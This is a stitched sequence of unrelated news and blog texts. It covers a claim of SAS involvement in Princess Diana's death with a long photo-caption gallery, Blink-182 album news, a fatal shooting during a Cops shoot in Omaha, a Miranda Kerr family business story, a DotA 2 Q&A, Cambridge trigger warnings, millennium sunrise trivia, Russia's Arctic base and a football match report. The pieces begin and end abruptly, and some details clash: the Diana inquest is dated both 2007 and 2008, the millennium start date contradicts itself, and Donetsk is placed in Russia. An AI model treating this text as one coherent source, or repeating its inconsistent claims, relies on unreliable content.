But British police seem to be knocking down the claim -- that the British military was involved in the deaths of Diana, her boyfriend and their driver in August 1997.
"This is not a re-investigation," London Metropolitan Police tersely stressed, in a statement that revealed none of what it had been told.
The latest claim appears to have been sent first to military authorities and then to London police by the parents-in-law of a British special forces sniper after his marriage had fallen apart, according to an article on the website of the Sunday People newspaper. It did not offer a source for its reporting.
Photos: Princess Diana: Her life and legacy Photos: Princess Diana: Her life and legacy Princess Diana remains a beloved figure more than 20 years after her untimely death. See more photos of the British icon and the legacy she left behind. Hide Caption 1 of 47 Photos: Princess Diana: Her life and legacy Diana, seen here on her first birthday, was born Diana Frances Spencer on July 1, 1961. She was born into a noble family in Sandringham, England. Her father, John, was Viscount Althorp before becoming the 8th Earl Spencer in 1975. Hide Caption 2 of 47 Photos: Princess Diana: Her life and legacy Diana circa 1965. Growing up, she attended private schools in England and Switzerland. Hide Caption 3 of 47 Photos: Princess Diana: Her life and legacy Diana poses with her brother, Charles, in 1968. She also had two sisters, Sarah and Jane. Hide Caption 4 of 47 Photos: Princess Diana: Her life and legacy Diana, far right, is photographed with her father, John, and her three siblings circa 1970. Sarah is on the far left and Jane is next to Diana. When Diana was 7 years old, her parents divorced and her father was given custody of the children. Hide Caption 5 of 47 Photos: Princess Diana: Her life and legacy A teenage Diana receives a "kiss" from her pony, Scuffle, in 1974. A year later, she became Lady Diana after her grandfather died and her father became the 8th Earl Spencer. Hide Caption 6 of 47 Photos: Princess Diana: Her life and legacy After finishing school, Diana worked various jobs, including cook, nanny and kindergarten teacher. Here she is in 1980 with two children she looked after as a nanny. Hide Caption 7 of 47 Photos: Princess Diana: Her life and legacy Diana and Camilla Parker-Bowles visit the Ludlow racecourse in October 1980, where Prince Charles was competing as a jockey. Diana and Charles would be engaged just a few months later. Prince Charles admitted in 1994 to a relationship with Parker-Bowles while still married to Diana; Charles and Camilla wed in 2005. Hide Caption 8 of 47 Photos: Princess Diana: Her life and legacy Diana looks startled after stalling her new car outside her London apartment in November 1980. Hide Caption 9 of 47 Photos: Princess Diana: Her life and legacy Diana is surrounded by photographers shortly before it was announced that she was engaged to Prince Charles. Hide Caption 10 of 47 Photos: Princess Diana: Her life and legacy Diana and Charles pose at Buckingham Palace after the announcement of their engagement on February 24, 1981. Hide Caption 11 of 47 Photos: Princess Diana: Her life and legacy Diana and Charles arrive at Goldsmith Hall in London for a charity recital in March 1981. Hide Caption 12 of 47 Photos: Princess Diana: Her life and legacy The couple poses with Charles' mother, Queen Elizabeth II, in March 1981. Hide Caption 13 of 47 Photos: Princess Diana: Her life and legacy The royal wedding was held July 29, 1981, at St. Paul's Cathedral in London. It was estimated that more than 700 million people watched the ceremony on television. Hide Caption 14 of 47 Photos: Princess Diana: Her life and legacy Charles and Diana kiss on the Buckingham Palace balcony after being married. Hide Caption 15 of 47 Photos: Princess Diana: Her life and legacy During their honeymoon, Charles and Diana leave Gibraltar on the royal yacht Britannia. Hide Caption 16 of 47 Photos: Princess Diana: Her life and legacy The couple spends part of their honeymoon in Scotland. Hide Caption 17 of 47 Photos: Princess Diana: Her life and legacy Charles and Diana attend the Grand National horse race in April 1982. Hide Caption 18 of 47 Photos: Princess Diana: Her life and legacy In June 1982, Diana gave birth to her first child, William. Hide Caption 19 of 47 Photos: Princess Diana: Her life and legacy Diana greets a child while visiting Wrexham, Wales, in November 1982. Hide Caption 20 of 47 Photos: Princess Diana: Her life and legacy Charles, William and Diana pose for a photo at Kensington Palace in February 1983. Hide Caption 21 of 47 Photos: Princess Diana: Her life and legacy Diana gave birth to a second son, Harry, in September 1984. Hide Caption 22 of 47 Photos: Princess Diana: Her life and legacy Charles kisses his wife after a polo match in Cirencester, England, in June 1985. Hide Caption 23 of 47 Photos: Princess Diana: Her life and legacy Diana watches her boys play at the piano in Kensington Palace in October 1985. Hide Caption 24 of 47 Photos: Princess Diana: Her life and legacy Diana helps William with a puzzle in October 1985. Hide Caption 25 of 47 Photos: Princess Diana: Her life and legacy Diana attends a polo match that her husband played in Palm Beach, Florida, in November 1985. Hide Caption 26 of 47 Photos: Princess Diana: Her life and legacy Diana dances with actor John Travolta at the White House in November 1985. Dancing behind Travolta are US President Ronald Reagan and first lady Nancy Reagan. A few years ago, Diana's blue velvet dress -- nicknamed the "Travolta dress" -- was auctioned for 240,000 British pounds ($362,424 US). Hide Caption 27 of 47 Photos: Princess Diana: Her life and legacy Diana holds up Harry in the garden of Highgrove House, a royal residence in Gloucestershire, England, in July 1986. Hide Caption 28 of 47 Photos: Princess Diana: Her life and legacy William rides a miniature pony at Highgrove House. Hide Caption 29 of 47 Photos: Princess Diana: Her life and legacy Prince Harry shows a bit of his personality on the Buckingham Palace balcony in June 1988. Hide Caption 30 of 47 Photos: Princess Diana: Her life and legacy Diana and her two boys walk outside the Wetherby School in London in April 1990. Hide Caption 31 of 47 Photos: Princess Diana: Her life and legacy Diana and her sons go skiing in Lech, Austria, in April 1991. Hide Caption 32 of 47 Photos: Princess Diana: Her life and legacy Diana and Charles sit together during a royal tour of Toronto in October 1991. Hide Caption 33 of 47 Photos: Princess Diana: Her life and legacy Diana visits Egypt in May 1992. Hide Caption 34 of 47 Photos: Princess Diana: Her life and legacy Charles and Diana attend a memorial service during a tour of South Korea in November 1992. A month later, it was announced that they had formally separated. Hide Caption 35 of 47 Photos: Princess Diana: Her life and legacy Diana and her sons visit Thorpe Park, a theme park in Surrey, England, in April 1993. Hide Caption 36 of 47 Photos: Princess Diana: Her life and legacy Diana arrives at the Serpentine Gallery in London in June 1994. Hide Caption 37 of 47 Photos: Princess Diana: Her life and legacy A police officer holds back a photographer as Diana walks by in July 1996. It had just been announced that Diana and Charles had divorced. Hide Caption 38 of 47 Photos: Princess Diana: Her life and legacy Diana talks to amputees in Angola, where she traveled in January 1997 to bring attention to the anti-land mine campaign of the International Red Cross. Sitting on her lap is Sandra Thijica, a 13-year-old who lost her left leg to a land mine. Hide Caption 39 of 47 Photos: Princess Diana: Her life and legacy Diana wears protective gear as she visits minefields in Angola in January 1997. Hide Caption 40 of 47 Photos: Princess Diana: Her life and legacy Diana visits Cape Town, South Africa, and meets with South African President Nelson Mandela in March 1997. Hide Caption 41 of 47 Photos: Princess Diana: Her life and legacy Diana holds hands with Mother Teresa after they met in New York in June 1997. Hide Caption 42 of 47 Photos: Princess Diana: Her life and legacy This photo, taken from surveillance video, shows Diana arriving at the Ritz Hotel in Paris on August 30, 1997. It is one of the last photos of her alive. Hide Caption 43 of 47 Photos: Princess Diana: Her life and legacy Diana is seen in a Ritz Hotel elevator with her boyfriend, Dodi Fayed. After leaving the hotel, the couple was killed in a high-speed car crash in the Pont de l'Alma tunnel in Paris. Hide Caption 44 of 47 Photos: Princess Diana: Her life and legacy Wreckage is lifted away after the car Diana was in crashed into a pillar on August 31, 1997. Fayed and driver Henri Paul died at the scene. Diana died at a Paris hospital a few hours later. A French investigation concluded that Paul was legally drunk at the time and responsible for the accident. In 2008, a British coroner's jury found that Diana and Fayed were unlawfully killed because of the actions of Paul and pursuing paparazzi. Hide Caption 45 of 47 Photos: Princess Diana: Her life and legacy On the eve of Diana's funeral, the Queen and Prince Philip look at floral tributes left outside Buckingham Palace. More than 1 million bouquets of flowers were left at Kensington Palace, Buckingham Palace and St. James's Palace in the wake of Diana's death. Hide Caption 46 of 47 Photos: Princess Diana: Her life and legacy Diana's coffin is carried into London's Westminster Cathedral in September 1997. Watching at the bottom, from left, is Prince Charles, Prince Harry, Charles Spencer, Prince William and Prince Philip. Hide Caption 47 of 47
JUST WATCHED New info on Diana's death surfaces Replay More Videos ... MUST WATCH New info on Diana's death surfaces 02:02
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JUST WATCHED New Princess Diana investigation Replay More Videos ... MUST WATCH New Princess Diana investigation 02:02
Sunday People said it had seen a seven-page handwritten letter by the in-laws alleging that the soldier, whom the newspaper did not name, had boasted to his wife that the elite British Special Air Service commando unit was behind the deaths.
The UK Ministry of Defence told CNN only that "this is for Metropolitan Police to investigate."
Military authorities have been aware of the claim since the 2011 court-martial of the soldier's former roommate on weapons charges, Sunday People reported. The unnamed soldier mentioned in the letter was a witness in that case, according to the newspaper.
Neither the Sunday People piece nor an earlier version carried by Press Association offered details of the claimed involvement by soldiers in the deaths.
Diana, 36, and Dodi Fayed, her 42-year-old boyfriend, died when the Mercedes-Benz they were traveling in hit a pillar in the Pont de l'Alma tunnel in Paris in August 1997.
They were being followed at the time by the paparazzi after leaving the Ritz Hotel. Their driver, Henri Paul, was also killed. Investigators concluded that Paul was drunk and driving at high speed. Bodyguard Trevor Rees-Jones was the sole survivor.
A British coroner's inquest in 2007 concluded that the deaths were the result of "grossly negligent driving of the following vehicles and of the Mercedes." The inquest found no evidence of murder. A London police spokesman said no new information had been examined since this inquest.
Yet the deaths have always been paired with conspiracy theories accusing British and French intelligence services and members of British royalty of orchestrating Diana's death.
The Daily Mirror reported in 2003 that the Princess of Wales wrote to her former butler Paul Burrell 10 months before she died, saying her life was at its "most dangerous" phase and warning of a plot to tamper with the brakes of her car.
After their deaths, Mohamed al Fayed, Dodi's father, said the couple were planning to announce their engagement and publicly accused Prince Philip, Diana's former father-in-law, of orchestrating the couple's murders. He testified at the 2007 inquest.
A spokesman for al Fayed said Sunday he had no comment at this time but trusts the police will do a thorough investigation.
Diana remains wildly popular in death, and news of the new claim sparked an immediate surge in discussion of her death on news sites and social media.
But many seemed skeptical.
"Is it just me or does it (seem) like a Princess Diana conspiracy hits around this time of year, every year?," Twitter user DMR09 posted.
The rumors come to light weeks before the 16th anniversary of Diana's death, and a little more than a month before the British premier of "Diana," a new movie about the former princess's life.
It's unclear whether these allegations will make it any further than previous claims have. London police seem unlikely to make any big announcements, based on the closing line of their statement.
Blink-182 bassist Mark Hoppus has offered fans an approximate timeframe for when they can expect the band’s long-awaited seventh studio album. Hoppus’ comments come shortly after guitarist Tom DeLonge took to Instagram to assure fans that a new album was on its way.
“New Blink-182 album will commence recording and writing soon after we finish the touring this summer and we plan to have it out as soon as possible,” says Hoppus in an audio clip uploaded to the fledgling voice-recording app Melt and shared via the bassist’s personal Twitter account.
The band’s current US summer tour also includes several dates in the UK and Europe in August, however, as Property of Zack note, DeLonge’s project Angels & Airwaves are scheduled to tour the US during their autumn, which could push recording a new Blink album back until September.
Last week, DeLonge reassured fans that a new album was still a priority for the band and apologised for the delay. Sharing an image of the three band members as teens, DeLonge added the caption, “Rehearsals start today… And yes there will be a new album #SorryForTheWait #Blink.”
A follow-up to 2011’s Neighborhoods has gone through several expected release times and delays. The band had previously announced that they were working on new material and at one point expected to have a new album out before their appearance at the Reading and Leeds festivals.
Listen: Mark Hoppus Talks Blink-182 New Album Release
Gallery: Blink-182 – Allphones Arena, Sydney 20/02/2013
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According to the Omaha Police Department, the incident took place at a Wendy's restaurant around 9:20 p.m. CT, in the vicinity of 42nd Street and Dodge.
Initial reports said the TV crew member — now identified by Langley Productions (which produces Cops) as 38-year-old audio technician Bryce Dion — had been critically injured. The news of his death broke Wednesday morning, as first reported by the Omaha World-Herald and local NBC affiliate WOWT. Omaha Police Chief Todd Schmaderer named the victim, along with the suspect Cortez Washington, 32, at a press conference Wednesday afternoon.
"We are striving for unprecedented transparency in this incident," Schmaderer said in the presser.
Schmaderer would not confirm reports that more than 30 shots were fired by officers, saying only that he did not believe an excessive amount of shots were used. No officers were injured in the incident.
Washington, a parolee from Kansas with a criminal history that included a previous robbery arrest, was carrying an Airsoft pellet gun, which, according to Schmaderer, sounds just like a real gun.
View photos Photo from the scene of the shooting taken by WOWT reporter Brian Mastre (Twitter) More
According to John and Morgan Langley, the father-and-son production team behind Cops, Dion was a very private person from the Boston area who had worked on the show for seven years. Dion, who had lived most recently in Santa Monica, California, had been promoted to sound supervisor this past year.
"We've been very fortunate over the years in that we've never had an incident like this," Morgan said at the press conference. "Cops truly is a reality show. It's not staged and not managed. And unfortunately, that's our highlight and our lowlight"
"We are deeply saddened and shocked by this tragedy and our main concern is helping [Dion's] family in any way we can," Langley Productions said Wednesday morning in a statement. "Bryce Dion was a long-term member of the Cops team and a very talented and dedicated person. We mourn his passing. An investigation is ongoing and we are cooperating with local authorities."
According to Schmaderer, Washington held up a Wendy's employee at gunpoint and demanded cash.
The suspect was described as wearing a "black hoodie and a white bandana" in a police radio call posted by @MeanStreetsOMA on Twitter. The Cops crew member was described as a white male in the police call.
Three officers, accompanied by Dion and Cops cameraman Michael Lee, entered the building in a tactical procedure. After Lee made a move to a new position, Dion was trapped in a vestibule and was caught in crossfire when officers returned gunfire at Washington. Although Cops crew members wear bullet-proof vests while working, a bullet hit Dion in an area between his arm and his upper torso that was not protected.
Following the gunfire, Washington and Dion were transported by Omaha Fire Rescue Squad to Nebraska Medical Center, where they were later pronounced dead.
Video of the scene by the World-Herald showed a bullet-ridden window of glass at the Wendy's.
Santa - I won't lie, this gift was a roller coaster of emotions. I ripped open the package to find a beautiful box. Inside the box: an envelope. Tear open the envelope and take out the card. Haha, that guy looks funny, but wait... what's this? Trees? In the mail? My Santa really figured me out! They know me! Wait... these aren't trees, this is oregano. Well played. The tears are now welling up inside my eyes, but wait, there's still the box. There's cheese. Sweet sweet cheese. And let me tell you, as I cut the first block, with the fresh smell of oregano still on my nostrils, and the Santa's warm words from the card still bouncing around in my head I bit in and I'd be lying if I said it wasn't some of the most awesome cheese I've ever had. Maybe it was because of the circumstances, or maybe Santa really did pick out some awesome cheese, but all I know is that it was delicious and I thank you very much for it. Thankfully, amid all this I even remembered to snap some pictures before I devoured it all. |
With reported tension ­between the pair, Therese Kerr, the former general manager of Kerr's Kora Organics, has launched her own beauty range.
"Miranda wanted to keep Kora as a skincare range, but I said: 'You know what? I want to share certified organic goodness with the world'," Mrs Kerr told The Sunday Telegraph.
media_camera Miranda Kerr, pictured with mum Theresa, supports her mother's move to launch a certified organic personal care range of products.
It's a bold move by Mrs Kerr, who was ­instrumental in helping ­establish Kora. Her exit from the company in January came as a shock.
Mrs Kerr's new range, Divine By Therese Kerr, includes certified organic products such as ­deodorant, toothpaste, hand sanitiser, mouthwash, hand wash and hand lotion and will be launched nationally in February.
And two months after that she will extend her range to include hair care and baby products.
"I'm really proud of Mum for creating this range," Kerr said. "There is definitely a gap in the market for certified organic personal care products. She is passionate and dedicated and I know it will be a huge success for her."
media_camera Therese Kerr's beauty product line from her Instagram site.
Speculation that mother and daughter pair have had a falling out was revealed in The Sunday Telegraph earlier this year when Mrs Kerr stepped down from her position at Kora Organics.
She then posted a cartoon on her Instagram site showing a ­mother hen pointing at a baby chick with the words: "I sat on you and brought you into this world and I can sit on you and take you out."
Mrs Kerr insists the move isn't a bid to compete with her daughter.
"It is to compliment the Kora range," she said. "Miranda is really excited, which is wonderful. I would envisage we will end up having the ranges as mum and daughter beside each other in stores."
media_camera Therese Kerr stepped down from her position at daughter Miranda's Kora range to start her own line of organic personal care products. Picture: Adam Armstrong
Of leaving Kora to start her own range, she said: "I stepped down from that position because I wasn't walking my walk in ­regards to health and wellness.
"I was working too many hours a day and not having that balance I needed and that combined with stress, it got too much. It is what it is and I live life to the fullest and now I have found my passion and it is divine."
Kerr, 30, has endured a difficult year, losing high-profile modelling contracts.
The mum-of-one was replaced as the face of David Jones by Jessica Gomes, stepped away from Victoria's Secret and lost her Mango contract.
In her personal life, the supermodel announced her separation from husband Orlando Bloom and is now dating James Packer.
Sources say Mrs Kerr and her daughter fell out over business dealings and the model's "micro-managing".
A: This was actually one of the very first things we added early on, before the game was stable, in order to help with testing. You’ll also be able to have a friend of similar skill level substitute for you in case you have to leave. Players that want to improve their reputation in the game and community will also be able to help out by joining ongoing games that are missing players.
Q: Can I still play with my friends from America even though I am European? (by Adam Mosley)
A: Yes, a lot of people have friends in different regions and we want to allow them to easily interact. One of the things that makes DotA special is how big the community is, so we will do our best to make it easy to connect and communicate with one another.
Q: How are you going to handle delay and lag between players? (by Alex)
A: This is something we are putting a lot of time and resources into. Minimizing delay to servers, along with optimizing networking code, is very important to being able to enjoy DotA on both a casual and competitive level. We’re expanding the Steam infrastructure around the world so the matchmaking service for DotA 2 is able to provide the lowest possible ping wherever you are playing. There will also be some uniquely located servers that are optimized regionally for handling longer distance matches.
Q: What kind of hardware requirements will the game have? (by S.Hong)
A: We don’t have an official minimum spec just yet. The goal is to make sure that people with older computers and the PCs at LAN centers will be able to support the game, while also allowing for newer computers to scale well.
Q: I heard there was going to be an AI feature for when a player leaves. Is there going to be an option to take direct control of the hero? (by Stephen)
A: The AI features will be optional to the players in the game. You can have teammates use it, send it to the base, or give it AI modes and behaviors to follow.
Q: Will there be anything like the AI maps in DotA or a “training mode” with difficulty levels? (by L.Pham)
A: Yes there will be bot support if you just want to play by yourself, or you can create a party of friends and fill the rest of the slots with bots. There are a variety of different settings you can use in order to configure the bots, ranging from selectable difficulty levels to specific behaviors that you want to practice against. For example, if you want to practice your lane control, you could configure the bots to be stronger at denying, last hitting, and harassing. We’ll also have some specially crafted challenge scenarios, similar to things like Pudge Wars, which I’ll elaborate on in the future.
Q: Will the replay system allow me to move freely backwards and forwards in time rather than having to watch a whole replay? (by Luciando)
A: You’ll be able to jump around to any point in the replay, add bookmarks for easy referencing, view detailed stats and graphs while the game is going, and watch through a specific player’s view (with regards to their camera movement). You’ll also be able to watch replays with friends if you want to review a game or learn from your mistakes. To aid videomakers, the replay system will have flexible camera angle and speed controls. There will also be a bunch of commentating and editing features you can add to your replays.
Q: Don’t you think you should make a lot of changes to the gameplay? (by Robert)
A: Significant changes would not necessarily make it a better game. There are countless features we are building around the game that will make the experience a much better one. The gameplay itself, though, has always evolved step by step, and it will continue with that methodology. We consider this a long term project, in the same way DotA has always been. We want to provide a quality experience and not just change for the sake of change. You’ll naturally see additions and improvements to the game as time passes, but it would be a natural progression aimed at improving the game for the players and not for other arbitrary reasons. Valve and I strongly believe that the player focused development process the game has gone through is what will allow us to continue making the best decisions with regards to where we spend our development time.
Q: Can you spectate an already ongoing DotA 2 game? (by Valo)
A: A lot of the game will be built around spectating and shoutcasting support. You will be able to join most ongoing games (unless the players marked it as private) and just watch them. You can join a game your friend is in, see what your favorite clan is doing, or simply pick a skill level and a hero you like and it will find you one to watch. We also have a system in place that automatically distributes the load to multiple servers so that the game itself won’t be affected by users joining to spectate. Our distribution network will allow us to support any number of users that want to watch, by dynamically assigning more servers to the task. There will also be special tags and search options to help you find live or old shoutcasted games. Shoutcasters will be able to operate as directors, so anyone watching will have his camera looking at the same things the shoutcaster is viewing. There is also an optional anti-cheat mechanism built in so that the game you are spectating can be time delayed by any amount of time to reduce potential abuse.
Q: Will you keep loyal to casting times like Torrent and will it still be possible to do the advanced tricks, like animation canceling, fog of war tricks we’ve learned, etc? (by Lycan)
A: Yes, those mechanics are implemented. They are a very integral part of the game and it wouldn’t feel the same without them.
Q: How will we manage replay files? (by Nikos)
A: They will be automatically saved with your identity online utilizing the Steam Cloud storage system, so you don’t have to worry about losing them. You’ll be able to use the replay browser tools to search, sort, tag, rank, and favorite them.
Q: Are you going to work on DotA after DotA 2 is released? (by Jack Lee)
A: I plan to keep DotA updated for as long as the community wants. That being said though, I think that DotA 2 represents the long term future for the game.
Q: How will development change with regards to your role, current beta testers, community feedback, etc? (by Basel)
A: All that stuff will remain the same, except that now I also get to work with the developers at Valve. All of our current playtesters and even contributors like Kunkka are helping. One of the most important things for me has always been getting input from the community. There will be a lot of opportunities, throughout the next year, to give your feedback on all the things we are working on, ranging from features to visuals.
Q: Are the upgraded graphics going to be distracting? New graphics are great, but when there’s too much, you can’t see what’s going on anymore. (by Lycan)
A: Gameplay is definitely the most important aspect, everyone on the team understands this concern. The number one priority is making sure players can quickly and easily tell what’s happening on the screen at all times. Fine tuning the right visual balance with each ability, effect, hero, etc., will be an ongoing process as the game is playtested and we get your feedback. A clean and understandable visual representation of the action is important to everyone from experienced players, spectators, to new players.
Q: Will I be able to help test DotA 2? (by Sing Liu)
A: There will certainly be an opportunity to get involved with beta testing DotA 2 and help us with your feedback. We’ll release more information about how to sign up in the future.
Q: Are you going to do anything to make it easier for new players to get into the game and feel welcome? (by Arvin)
A: Some of what makes it hard, in current DotA, stems from the lack of services around the game that can help foster a better relationship between players and that it’s hard for players to be matched up with equally skilled allies and opponents. Things like tutorials, matchmaking, AI bots, identity, coaching, and community contribution will go a long way to making it easier for new players to fit in.
Q: What hotkey setup will exist in DotA 2? (by Stany Kaff)
English literature undergraduates were apparently cautioned that a lecture focusing on Titus Andronicus and The Comedy of Errors would include "discussions of sexual violence" and "sexual assault".
According to The Telegraph, the trigger warnings were posted in the English Faculty's 'Notes on Lectures' document which is circulated to students at the university.
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Academics have expressed concern that colleges trying to protect young adults from certain issues may render them incapable of dealing with real life when they graduate.
Supporters of trigger warnings say they serve to help students who may be upset if a text reminds them of a personal traumatic experience.
However critics such as Mary Beard, a Professor of Classics at Cambridge, say allowing students to avoid learning about traumatic episodes of history and literature is "fundamentally dishonest".
Beard said previously: "We have to encourage students to be able to face that, even when they find they're awkward and difficult for all kinds of good reasons."
David Crilly, artistic director at The Cambridge Shakespeare Festival, said: "If a student of English Literature doesn't know that Titus Andronicus containts scenes of violence they shouldn't be on the course.
"This degree of sensitivity will inevitably curtail academic freedom. If the academic staff are concerned they imght say something students find uncomfortable they will avoid doing it."
Another Cambridge lecturer told Newsnight that trigger warnings had been added to the timetable "without discussion", while another admitted they "self-censored" texts on their course to avoid causing offence to some students.
A Cambridge University spokesman said that the English Faculty did not have a policy on trigger warnings but "some lecturers indicate that some sensitive material will be covered in a lecture by informing the English Faculty Admin staff".
"This is entirely at the lecturer's own discretion and is in no way indicative of a Faculty wide policy," they added.
The third millennium started at about 21h00 on 31 December 2000. Basically, the year 2000 is celebrated one year earlier because the year 0 was not calculated. It is the THIRD millennium, of course, because the Gregorian calendar has already observed two thousand years after Christ. See the history of the calendar.
Zero Hundred Hours
All time and space on earth is measured by two reference lines: Longitude based on the Greenwich Meridian (0 Longitude) and the Equator (0 Latitude). To simplify timekeeping, modern nations divide earth into 24 north-south zones of standard time.
The position of the Greenwich Meridian was agreed to at an international conference in Washington, DC, USA in 1884 where it was also decided that a Universal Day begins at 00h00 at that longitude. This imaginary line runs from North Pole to South Pole as established through the primary transit instrument (telescope) at the Royal Observatory Greenwich at that time. In 1928, the International Astronomical Union recommended that the time known as Greenwich Mean Time (GMT) be referred to as Universal Time (UT). (Prior to 1925, in astronomical and nautical almanacs, a day of Greenwich Mean Time began at noon.)
Welcome to the new millennium
At 00h00 1 January 2000 UT the sun rose along a line that runs from about 650km (404 miles) east of Kerguelen Island in the Indian Ocean to about 640km (398 miles) east of Amsterdam Island, through the Nicobar Islands, up along the Burma-Thailand border, through China, along the China-Outer Mongolia border, along the China-Russia border, through Siberia and out into the Arctic Ocean just north of the Poluostrov peninsula. At this time of the year, earth is tilted so that the North Pole is continually in darkness and Antarctica is almost continually in daylight.
It was also determined at the Washington Prime Meridian conference in 1884 that the International Date Line be drawn at 180 degrees – 12 hours ahead of GMT. So, when the new millennium was welcomed at midnight in Greenwich, England, many other nations were already dancing away well into the third millennium.
The first millennium consisted of 365,250 days. The second millennium of 365,237 days. The third millennium will consist of 365,242 days.
AD is short for Anno Domini, or “Year of our Lord,” as proclaimed by the Roman Catholic Church. Some non-Christians prefer the alternative designation “CE” for “Common Era.”
The word “millennium” was first used in the 17th Century.
The International Date Line detours eastward through the Bering Strait to avoid dividing Siberia and then deviates around the Aleutian Islands in Alaska and some of New Zealand to follow the time zone boundaries of those places. Dateline map recorded from the New Zealand Millennium Site
Here comes the sun
The place that was first reached by the sun in local time 1 January 2000 is Young Island in New Zealand’s Antarctica Balleny Islands, at 00h08 (12:08am). Balleny Islands are proclaimed by Greenwich Observatory as the first land to have sunrise each day. Next in line was the Dibble Glacier, close to the French Dumont D’Urville base. Sunrise will occurred there at 00h22. But, as with Young Island, it is uninhabited, so we’ll head a little further north to find the first inhabited land to have witnessed the first sunrise of the new millennium.
Millennium Island
The Republic of Kiribati (pronounced Kiribas) is made up of 33 South Pacific coral atolls which straddle the International Date Line. It is subdivided into three main groups known as the Gilbert Islands, the Phoenix and the Line Islands. From north to south, Kiribati covers a distance of 800km (497 miles); the distance east to west is 3218km (1999 miles). In 1993 Kiribati decided to consolidate all three island groups under a single time zone and selected the Gilbert Islands, west of the International Date Line, as the standard. Kiribati’s capital, Tarawa, is located in the Gilberts.
Kiribati was the first country to meet the new millennium. They even renamed its easternmost point, Caroline Island, to Millennium Island (even though it is as inaccessible as Antarctica). However, Kiribati was not the first to greet the new millennium sunrise, which rose over Millennium Island at 05h43 local time.
New Zealand
Pitt Island was the first inhabited land to be touched by the first millennium sunlight. Pitt Island is part of New Zealand’s Chatham Islands, 850km (528 miles) east from the mainland. Sunlight reached Mount Hakepa at Kahuitara Point (situated 44 16′ S 176 9′ W) on Pitt Island at 04h49 (4:49am).
The sun reached New Zealand’s mainland at Mt Hikurangi on the East Coast at 05h43. Gisborne, New Zealand was the first major city to welcome the new millennium sun.
The last place where the sun set on 31 December 1999 was Falealupo, Samoa at 19h02 local time.
THIRD MILLENNIUM SUNRISE
Australia: Cape Pillar, Tasmania at 04h32.
Africa: Fort-Dauphin, Madagascar at 05h05.
Europe: Ukraine just west of Donetsk, Russia at 08h11.
South America: Cabo San Juan, Argentina at 04h43.
North America: Cape Breton, Nova Scotia at 07h41.
USA: Peacock Pt. on Wake Island at 07h27. However, Wake Island is mostly uninhabited. The first inhabited land in the US to witness the new millennium sunrise was Inarajan, Guam at 06h44, after it reached the peak of Lamlam Mountain, Guam 3 minutes earlier. The first place on the US mainland was Cadillac Mountain, Maine at 07h04. The first metropolitan area in the US to see the third millennium sunrise was Miami Beach, Florida at 07h07.
Mt Hakepa on Pitt Island was the first inhabited place on earth to welcome the third millennium.
Mt Hakepa is located at Longitude W 176.10, Latitude S 44.16. The sun rose there at 16h05 GMT, or 04h49 local time, on 1 January 2000.
The picture of Mt Hapeka is represented with the kind permission of Ken and Robert Lanauze of Pitt Island, New Zealand.
Move supports Vladimir Putin's claim s to vast mineral wealth under ice cap
Russia contests Canada, Denmark, Norway and US for right to exploit riches
Arctic Circle estimated to hold 22 per cent of recoverable energy resources
Base will also supervise the Northern Sea Route between Europe and Asia
Russia sent a naval convoy to reopen a military base in the Arctic in support of Vladimir Putin's claims to vast energy riches under the ice cap
Russia yesterday sent a naval convoy to reopen a military base in the Arctic in support of Vladimir Putin’s claims to vast energy riches under the ice cap.
The move comes the day after a ceasefire in Ukraine saw a major territorial advantage to his separatist supporters, and as Russia contests Canada, Denmark, Norway and the US for the right to exploit the mineral wealth of the Arctic.
The Arctic Circle is estimated to contain 22 per cent of global recoverable energy resources.
The base will also supervise the Northern Sea Route between Europe and Asia, viable since ice melted in the region.
The presidents of Russia and Ukraine said on Saturday that a ceasefire between Ukrainian government forces and pro-Russian separatists was holding up fairly well and they discussed urgent humanitarian aid for the shattered region.
Residents and combatants in eastern Ukraine welcomed the respite in a five-month conflict that has killed at least 2,600 people but said they did not expect it to last.
They also each accused the enemy of using the truce to rebuild their forces.
The presidents also expressed support for the full involvement of the Organisation for Security and Cooperation in Europe (OSCE), a rights watchdog, in monitoring the ceasefire.
Envoys of Ukraine, Russia, the separatist leadership and the OSCE approved the ceasefire in Minsk on Friday as part of a peace roadmap that also includes an exchange of prisoners of war and establishing a humanitarian corridor for refugees and aid.
French kid, Gabriel Obertan is Sir Alex Ferguson’s and Manchester United’s latest sensation that could go on to emulate the achievements of Cristiano Ronaldo and Ryan Giggs.
Obertan, only 20, played full 90 minutes however, like the Daily Mail praised his brilliant touches, he is the kind of player Manchester United fans will forget about Ronaldo, 24, now with Real Madrid in Spain.
It is unfortunate the former Girondins Bordeaux player did not enjoy his marvelous debut against Barnsley in the Carling Cup at home-Old Trafford. His pace on the ball and off it was simply amazing. Like Ronaldo did on his debut match against Bolton Wanderers, Obertan, run at the opposition without fear. His runs could compare to Ryan Giggs, the junior at his tender days for United. He is not very much different from Lionel Messi of Barcelona and also reminds many of the ever running Arjen Robben, now bayern Munich.
Like Fergie helped Ronaldo elevate his game to the highest level, Obertan had the freedom at Barnsley to torment and pace down the flanks. It is one of the instincts that will bring out the best in a player who failed to come good at Bordeaux, who were forced to loan him.
While many have been named as successors to Ronaldo, like Nani, Antonio Valencia, none comes good like Obertan. Fergie is already impressed with his two performances in United’s red and blue colours at Barnsley and Oldham this week and last week, respectively. Valencia and Nani will have to prove beyond doubt that they can match the 20-year-old’s abilities. Obertan is not a selfish player, a factor that distinguishes him from Ronaldo. With United’s free flowing football, this kid is likely to go all the way to match the reputation Ronaldo had at Old Trafford and Giggs, who is still running strong at the club.
If Fergie, who appears very much a fun of the French kid, elevates him to the first team, United will not be required to hunt for a star name to fill the vacuum Ronaldo left. Fergie was so patient with Ronaldo for two years that he did not listen to the critics of the Portuguese kid, then. Obertan, with the eyeful display on Tuesday night, may not require two years to bring out his best. The ingredients of colourful and great players are so much alive in him.
He played with so much confidence that he was named man of the match on the fateful night of Tuesday.
However, the premier league defenders are not going to allow him to thrive like Ronaldo did in his five years at Old Trafford. He had a rough time though at Barnsley with the defenders trying to bring him down every time he got hold of the ball.
Crisis at Real Madrid
